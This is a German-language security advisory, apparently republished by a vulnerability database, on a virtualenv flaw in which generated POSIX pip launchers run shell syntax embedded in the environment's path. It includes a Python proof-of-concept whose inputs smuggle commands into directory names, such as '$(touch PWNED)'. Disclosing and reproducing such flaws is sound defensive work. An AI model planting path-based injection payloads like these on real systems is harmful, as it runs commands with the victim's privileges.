virtualenv: Generierte POSIX-Konsolen-Starter interpretieren Zielpfade als Shell-Syntax
Übersicht
Ein an virtualenv übergebener Zielpfad kann von einem generierten POSIX-Konsolen-Starter als Shell-Syntax interpretiert werden. Der App-Data-Seeder und pip delegieren die Erstellung von Launchern an distlib, übergeben den Interpreter-Pfad jedoch in einer Form, die ihn im Shell-Wrapper nicht als Literal-Daten beibehält.
Betroffener Bereich
POSIX-Konsolen-Skripte, die vom App-Data-Seeder oder pip generiert werden, wenn der Interpreter-Pfad einen Shell-Wrapper erfordert. Ausführbare Windows-Starter sind von diesem Pfad nicht betroffen.
Durch Angreifer kontrollierte Eingabe
Ein Angreifer muss das an virtualenv übergebene Ziel des Environments beeinflussen können, und der Benutzer muss anschließend einen generierten Starter ausführen. Der Angreifer muss weder eine installierte Binärdatei modifizieren noch den App-Data-Cache des Benutzers kontrollieren.
Betroffener Quellcode
Der relevante 21.14.8-Quellcode befindet sich in ScriptMakerCustom..
Mechanismus
Der App-Data-Seeder übergibt den Interpreter-Pfad der Umgebung über enquote_executable() an distlibs ScriptMaker. Er fügt doppelte Anführungszeichen für Pfade mit Leerzeichen hinzu, maskiert jedoch keine Shell-Expansionen innerhalb dieser Anführungszeichen. Wenn der Pfad ein Leerzeichen enthält oder die Shebang-Zeile 127 Bytes überschreitet, erzeugt distlib einen #!/bin/sh-Wrapper mit einer Zeile ähnlich '''exec' "<path>" "$0" "$@". Die Shell expandiert $(...) und Backticks in diesem Pfad, sobald der Starter ausgeführt wird. Derselbe Wrapper muss zudem als Python geparst werden können, was weitere Sonderfälle für Anführungszeichen und Backslashes eröffnet. Die Erstellung und Aktivierung der Umgebung lösen die Shell-Nutzlast nicht aus.
Reproduktion und Nachweis
Der Scanner erstellte drei Umgebungen: eine Kontrollumgebung unter my -touch PWNED- project, eine unter my $(touch PWNED) project und eine unter einem Pfad von mehr als 127 Bytes, der auf $(touch${IFS}PWNED) endet. Jede Umgebung wurde erstellt, ohne PWNED zu erzeugen. Das Ausführen der generierten bin/pip --version erzeugte in beiden Angriffsfällen PWNED; der Kontrollfall erzeugte keine Datei. Der Fall mit dem langen Pfad erreichte den Shell-Wrapper ohne Leerzeichen. Dies reproduziert die Ausführung durch den generierten Starter mit den Berechtigungen des Benutzers anstelle während des Seedings.
Der Bericht datiert die distlib-Starter-Integration des App-Data-Seeders auf #1579, erstmals veröffentlicht in 20.0.2. PR #3417 versieht den rohen Interpreter-Pfad für den POSIX-Wrapper mit Anführungszeichen und repariert Starter, die vom pip-Seeder geschrieben wurden. Das pip-eigene distlib kann bei einer späteren Installation oder Aktualisierung via pip erneut einen verwundbaren Wrapper schreiben; der vorgeschlagene virtualenv-Fix ändert nicht den vendored Code von pip. Der vom Maintainer bereitgestellte Nachprüfungsbericht behandelt diesen späteren Pfad separat.
Angriffssequenz
sequenceDiagram
participant A as Destination supplier
participant V as virtualenv seeder
participant D as distlib ScriptMaker
participant S as Generated bin/pip
participant U as User
A->>V: path contains $(touch PWNED)
V->>D: pass interpreter path with incomplete shell quoting
D->>S: write /bin/sh wrapper
Note over V,S: no payload runs during creation or activation
U->>S: pip --version
S->>S: shell expands path and runs touch
S-->>U: PWNED appears with user's privileges
Reproduktionsdateien
Die folgenden Dateien stammen aus dem Scanner-Bericht für ANT-2026-5DZVLGL1. Sie wurden gegen Commit a857a7823c73 im Scanner-Image getestet. Der Einstiegspunkt repro erwartet Begleitdateien unter /tmp/repro.d; Fälle, die Benutzer-IDs ändern, benötigen einen wegwerfbaren, root-fähigen Container. Die letzte Ausgabezeile lautet BUG, wenn das gemeldete Verhalten auftritt. Diese Dateien sind als Nachweis beigefügt und wurden für diese Aktualisierung nicht erneut ausgeführt.
repro
#!/usr/bin/env python3
import shutil
import subprocess
from pathlib import Path
WORK = Path("/tmp/repro-console-script")
# The attacker's whole input: the name of a directory above the environment (a repository, a project folder).
DIRECTORY_NAMES = {
"CONTROL": "my -touch PWNED- project",
"OBSERVED": "my $(touch PWNED) project",
# no space: distlib also picks the /bin/sh launcher once "#!<dest>/bin/python" is longer than 127 bytes
"OBSERVED_LONG": "p" * 120 + "$(touch${IFS}PWNED)",
}
shutil.rmtree(WORK, ignore_errors=True)
pip_printed = {}
created_by_pip = {}
for label, name in DIRECTORY_NAMES.items():
# the payload can hold no "/", so it touches a relative PWNED: each case gets its own empty working directory
cwd = WORK / label / "cwd"
venv = WORK / label / name / "venv"
cwd.mkdir(parents=True)
# set up: the user creates an environment there with default options (--no-periodic-update keeps it offline)
subprocess.run(["virtualenv", "--quiet", "--no-periodic-update", str(venv)], cwd=cwd, check=True)
assert list(cwd.iterdir()) == [], "environment creation must not have created anything"
# trigger: the user runs the seeded pip; argv is a list, so the only shell that reads the name is bin/pip's own
pip = subprocess.run([venv / "bin" / "pip", "--version"], cwd=cwd, capture_output=True, text=True)
pip_printed[label] = pip.stdout
created_by_pip[label] = sorted(p.name for p in cwd.iterdir())
launcher = (venv / "bin" / "pip").read_text().splitlines()
print(f"{label}: directory name {name!r}")
print(f" bin/pip line 1: {launcher[0]}")
print(f" bin/pip line 2: {launcher[1]}")
print(f" bin/pip --version printed: {(pip.stdout + pip.stderr).strip()}")
print(f" files bin/pip created in the working directory: {created_by_pip[label]}")
# check: a directory name is data; starting pip must run pip and nothing else
control_ok = pip_printed["CONTROL"].startswith("pip ") and created_by_pip["CONTROL"] == []
attack_ran = created_by_pip["OBSERVED"] == ["PWNED"] and created_by_pip["OBSERVED_LONG"] == ["PWNED"]
print("BUG" if control_ok and attack_ran else "OK")
Umfang des Fixes und verbleibendes Risiko
PR #3417 ändert die Starter-Generierung durch den App-Data-Seeder und repariert POSIX-Shell-Wrapper nach dem pip-Seeding. Die Reparatur im pip-Seeder verwendet dieselbe Quoting-Regel und aktualisiert die Hashes und Größen in den installierten RECORD-Dateien. Sie modifiziert nicht das von pip mitgelieferte (vendored) distlib.
Eine spätere unabhängige Installation oder ein Upgrade von pip kann einen korrigierten Starter durch einen betroffenen ersetzen. Bestehende Starter werden durch ein reines Upgrade von virtualenv nicht repariert. Erstellen Sie Umgebungen mit dem korrigierten virtualenv neu, um diese neu zu generieren, und verwenden Sie vertrauenswürdige Zielpfade. Das Neuerstellen schützt keine Starter, die nachträglich von pip neu geschrieben werden. Die Nachprüfung berichtet über eine Reproduktion über den vorherigen pip-Seeder sowie nach einem pip-Upgrade; diese Ergebnisse werden dem Reviewer zugeschrieben.
Auswirkungen
Das Ausführen eines betroffenen Starters kann Befehle mit den Rechten des aufrufenden Benutzers ausführen. Einstufung: Hoch, CVSS 7.8, CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H, gemäß dem Präzedenzfall des Projekts für generierte Skripte (generated-script precedent.. Der Vektor setzt vom Angreifer kontrollierte Pfaddaten und einen Benutzer voraus, der den resultierenden Starter aufruft. Es sind keine vorherigen Opferrechte erforderlich; eine erfolgreiche Befehlsausführung kann die Daten und Prozesse des Benutzers beeinträchtigen.
Getestete Versionen
Der Maintainer bestätigte die Validierung der gemeldeten Ergebnisse in Version 21.14.8. Die nachfolgende Prüfung dokumentiert die Reproduktion auf dem ungefixten upstream/main; die betroffene Starter-Integration und Abhängigkeitsdeklarationen sind gegenüber 21.14.8 unverändert. Die erste betroffene Version wurde nicht ermittelt. Behoben in 21.14.9.
Bekannte Gegenmaßnahmen
Verwenden Sie ein Umgebungsziel, das von einem vertrauenswürdigen Benutzer ausgewählt wurde. Vermeiden Sie bei älteren Versionen die Erstellung von Umgebungen an Pfaden, die aus nicht vertrauenswürdigen Eingaben stammen.
Betroffene Version
- Das Problem lässt sich auf virtualenv 21.14.8 reproduzieren.
Danksagung
Gemeldet von Anthropics OSS Scanner als ANT-2026-5DZVLGL1.
Was zu tun ist
Aktualisieren Sie auf virtualenv 21.14.9 oder neuer. Beachten Sie, dass ein Upgrade von virtualenv allein bestehende Starter nicht repariert: Erstellen Sie Umgebungen mit der korrigierten virtualenv-Version neu und stellen Sie sicher, dass vertrauenswürdige Zielpfade gewählt werden. Das Neuerstellen schützt keine Starter, die später durch pip-Operationen überschrieben werden. Als Übergangslösung sollten Umgebungsziele stets von vertrauenswürdigen Benutzern festgelegt werden; vermeiden Sie die Erstellung von Umgebungen an Zielorten aus nicht vertrauenswürdigen Eingaben.
Betroffene Software
Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.
| Plattform | Paket | Anfällige Versionen | Behoben in |
|---|---|---|---|
| Python (PyPI) | virtualenv | < 21.14.9 | 21.14.9 |
Verweise
- https://github.com/pypa/virtualenv/security/advisories/GHSA-c978-59m8-c77v
- https://nvd.nist.gov/vuln/detail/CVE-2026-113722
- https://github.com/pypa/virtualenv/pull/3417
- https://github.com/pypa/virtualenv/commit/2519941bed33ee0d3ac99277f67913e439e476a9
- https://github.com/pypa/virtualenv
- https://github.com/pypa/virtualenv/releases/tag/21.14.9
- CVSS-Vektor
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H- Schwäche (CWE)
CWE-78- Plattform
- Python (PyPI)
- Paket
virtualenv- Veröffentlicht
- 21.10.2026
- Aktualisiert
- 23.10.2026 00:13
Quellen und Lizenzen · Von DockRay bearbeitet oder übersetzt; Rechte und Lizenzen der Quellen bleiben erhalten.
OSV / GitHub Advisory Database - GHSA-c978-59m8-c77v - CC BY 4.0
Schwachstellenhistorie: virtualenv
Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.
- Einträge insgesamt
- 13
- Erste → letzte
- 12.2011 10.2026
- Ohne Fix
- 0
- In Angriffen ausgenutzt
- 0
Verteilung nach Schweregrad
- Hoch 7
- Mittel 6
Veröffentlichungen pro Jahr
- 2017: 0
- 2018: 0
- 2019: 0
- 2020: 0
- 2021: 0
- 2022: 0
- 2023: 0
- 2024: 1
- 2025: 0
- 2026: 11
früher: 1
-
virtualenv: Generierte POSIX-Konsolen-Starter interpretieren Zielpfade als Shell-Syntax dieser Eintrag
Erkennen Sie Schwachstellen in Ihrer Anwendung
Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.